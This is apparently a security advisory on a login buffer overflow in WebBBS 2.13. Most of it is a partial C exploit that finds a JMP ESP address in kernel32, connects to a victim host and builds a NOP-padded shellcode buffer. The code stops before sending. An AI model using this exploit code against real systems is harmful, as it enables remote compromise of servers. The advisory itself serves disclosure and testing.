Certain versions of WebBBS by Mike Bryeans of International TeleCommunications contain a flaw in the initial login program. User supplied data via the login name and password is not bounds checked and this can result in a buffer overflow leading to a security compromise of the system running WebBBS.
Credit:
This information has been provided by: eEye.
Vulnerable systems:
International TeleCommunications WebBBS 2.13
The following exploit code can be used to test your installation of WebBBS for the mentioned vulnerability:
/*==========================================================
WebBBS Ver2.13 Exploit
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
============================================================
*/
if (argc<2){
printf("usage: %s VictimHost\n",argv[0]);
exit(1);
}
if ((void *)(kp=(unsigned int)LoadLibrary(KERNEL_NAME))==NULL){
printf("Can not find %s\n",KERNEL_NAME);
exit(1);
}
VirtualQuery((void *)kp,&meminfo,sizeof(MEMORY_BASIC_INFORMATION));
ip=0;
for (i=0;i<meminfo.RegionSize;i++){
ip=kp+i;
if ( ( ip &0xff)==0
|| ((ip>>8 )&0xff)==0
|| ((ip>>16)&0xff)==0
|| ((ip>>24)&0xff)==0) continue;
q=(unsigned char *)ip;
if (*q==JMPESP_1 && *(q+1)==JMPESP_2) break;
}
printf("RETADR : %x\n",ip);
if (ip==0){
printf("Can not find codes which are used by exploit.\n");
exit(1);
}
wVersionRequested = MAKEWORD( 2, 0 );
if (WSAStartup(wVersionRequested , &wsa)!=0){
printf("Winsock Initialization failed.\n"); return -1;
}
if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
printf("Can not create socket.\n"); return -1;
}
addr.sin_family = AF_INET;
addr.sin_port = htons((u_short)HTTP_PORT);
if ((addr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if ((hs=gethostbyname(argv[1]))==NULL){
printf("Can not resolve specified host.\n"); return -1;
}
addr.sin_family = hs->h_addrtype;
memcpy((void *)&addr.sin_addr.s_addr,hs->h_addr,hs->h_length);
}
if (connect(sock,(LPSOCKADDR)&addr,sizeof(addr))==SOCKET_ERROR){
printf("Can not connect to specified host.\n"); return -1;
}
memset(buf,NOP,MAXBUF); buf[MAXBUF]=0;
strncpy(buf,exp_code,strlen(exp_code));
